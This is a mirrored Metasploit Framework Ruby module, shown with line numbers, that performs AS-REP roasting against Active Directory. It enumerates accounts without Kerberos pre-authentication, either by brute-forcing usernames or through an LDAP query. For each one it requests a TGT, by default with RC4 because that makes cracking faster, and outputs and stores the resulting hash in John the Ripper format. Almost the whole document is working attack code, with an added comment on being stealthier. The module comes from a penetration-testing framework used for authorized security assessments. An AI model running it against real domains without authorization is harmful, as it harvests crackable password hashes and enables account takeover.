Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/asrep.rb
56892 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Kerberos::Client
8
include Msf::Exploit::Remote::LDAP
9
include Msf::Exploit::Remote::LDAP::Queries
10
include Msf::OptionalSession::LDAP
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Find Users Without Pre-Auth Required (ASREP-roast)',
17
'Description' => %q{
18
This module searches for AD users without pre-auth required. Two different approaches
19
are provided:
20
- Brute force of usernames (does not require a user account; should not lock out accounts)
21
- LDAP lookup (requires an AD user account)
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [
25
'smashery', # MSF Module
26
],
27
'References' => [
28
['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat']
29
],
30
'Notes' => {
31
'Stability' => [CRASH_SAFE],
32
'SideEffects' => [IOC_IN_LOGS],
33
'Reliability' => [],
34
'AKA' => ['preauth', 'asreproast']
35
},
36
'Actions' => [
37
['BRUTE_FORCE', { 'Description' => 'Brute force to find susceptible user accounts' } ],
38
['LDAP', { 'Description' => 'Ask a domain controller directly for the susceptible user accounts' } ],
39
],
40
'DefaultAction' => 'BRUTE_FORCE'
41
)
42
)
43
44
register_options(
45
[
46
OptPath.new('USER_FILE', [ false, 'File containing usernames, one per line' ], conditions: %w[ACTION == BRUTE_FORCE]),
47
OptBool.new('USE_RC4_HMAC', [ true, 'Request using RC4 hash instead of default encryption types (faster to crack)', true]),
48
OptString.new('Rhostname', [ false, "The domain controller's hostname"], aliases: ['LDAP::Rhostname']),
49
]
50
)
51
register_advanced_options(
52
[
53
OptEnum.new('LDAP::Auth', [true, 'The Authentication mechanism to use', Msf::Exploit::Remote::AuthOption::NTLM, Msf::Exploit::Remote::AuthOption::LDAP_OPTIONS]),
54
]
55
)
56
end
57
58
def run
59
case action.name
60
when 'BRUTE_FORCE'
61
run_brute
62
when 'LDAP'
63
run_ldap
64
end
65
rescue Errno::ECONNRESET
66
fail_with(Failure::Disconnected, 'The connection was reset.')
67
rescue Rex::ConnectionError => e
68
fail_with(Failure::Unreachable, e.message)
69
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
70
fail_with(Failure::NoAccess, e.message)
71
rescue Net::LDAP::Error => e
72
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
73
end
74
75
def run_brute
76
result_count = 0
77
user_file = datastore['USER_FILE']
78
username = datastore['LDAPUsername']
79
if user_file.blank? && username.blank?
80
fail_with(Msf::Module::Failure::BadConfig, 'User file or username must be specified when brute forcing.')
81
end
82
verify_option('LDAPDomain')
83
if username.present?
84
begin
85
roast(username)
86
result_count += 1
87
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
88
# User either not present, or requires preauth
89
vprint_status("User: #{username} - #{e}")
90
end
91
end
92
if user_file.present?
93
File.open(user_file, 'rb') do |file|
94
file.each_line(chomp: true) do |user_from_file|
95
roast(user_from_file)
96
result_count += 1
97
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
98
# User either not present, or requires preauth
99
vprint_status("User: #{user_from_file} - #{e}")
100
end
101
end
102
end
103
104
if result_count == 0
105
print_error('No users found without preauth required')
106
else
107
print_line
108
print_status("Query returned #{result_count} #{'result'.pluralize(result_count)}.")
109
end
110
end
111
112
def verify_option(opt)
113
value = datastore[opt]
114
if session.nil? && value.blank?
115
fail_with(Msf::Module::Failure::BadConfig, "You must set the '#{opt}' option when running the module without a pre-existing LDAP session.")
116
end
117
end
118
119
def run_ldap
120
verify_option('LDAPDomain')
121
122
run_builtin_ldap_query('ENUM_USER_ASREP_ROASTABLE') do |result|
123
username = result.samaccountname[0]
124
begin
125
roast(username)
126
rescue ::Rex::Proto::Kerberos::Model::Error::KerberosError => e
127
msg = session ? "Session #{session.sid} received an error: #{e}" : "#{username} reported as ASREP-roastable, but received error when attempting to retrieve TGT (#{e})"
128
print_error(msg)
129
end
130
end
131
end
132
133
def roast(username)
134
server_name = "krbtgt/#{datastore['domain']}"
135
client_name = username
136
realm = session ? session.client.realm : datastore['LDAPDomain']
137
rhost = session ? session.client.peerhost : datastore['RHOST']
138
139
res = send_request_tgt(
140
server_name: server_name,
141
client_name: client_name,
142
realm: realm,
143
offered_etypes: etypes,
144
rport: 88,
145
rhost: rhost
146
)
147
148
hash = format_as_rep_to_john_hash(res.as_rep)
149
print_line(hash)
150
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
151
report_hash(hash, jtr_format, rhost, 88)
152
end
153
154
def report_hash(hash, jtr_format, address, port)
155
service_data = {
156
address: address,
157
port: port,
158
service_name: 'Kerberos',
159
protocol: 'tcp',
160
workspace_id: myworkspace_id
161
}
162
credential_data = {
163
module_fullname: fullname,
164
origin_type: :service,
165
private_data: hash,
166
private_type: :nonreplayable_hash,
167
jtr_format: jtr_format
168
}.merge(service_data)
169
170
credential_core = create_credential(credential_data)
171
172
login_data = {
173
core: credential_core,
174
status: Metasploit::Model::Login::Status::UNTRIED
175
}.merge(service_data)
176
177
create_credential_login(login_data)
178
end
179
180
def etypes
181
if datastore['USE_RC4_HMAC']
182
[Rex::Proto::Kerberos::Crypto::Encryption::RC4_HMAC]
183
else
184
# We could just ask for AES256, but we have an opportunity to be stealthier by asking for a normal set of etypes,
185
# and expecting to receive AES256. This assumption may be broken in the future if additional encryption types are added
186
Rex::Proto::Kerberos::Crypto::Encryption::DefaultOfferedEtypes
187
end
188
end
189
190
attr_accessor :ldap_query # The LDAP query for this module, loaded from a yaml file
191
192
end
193
194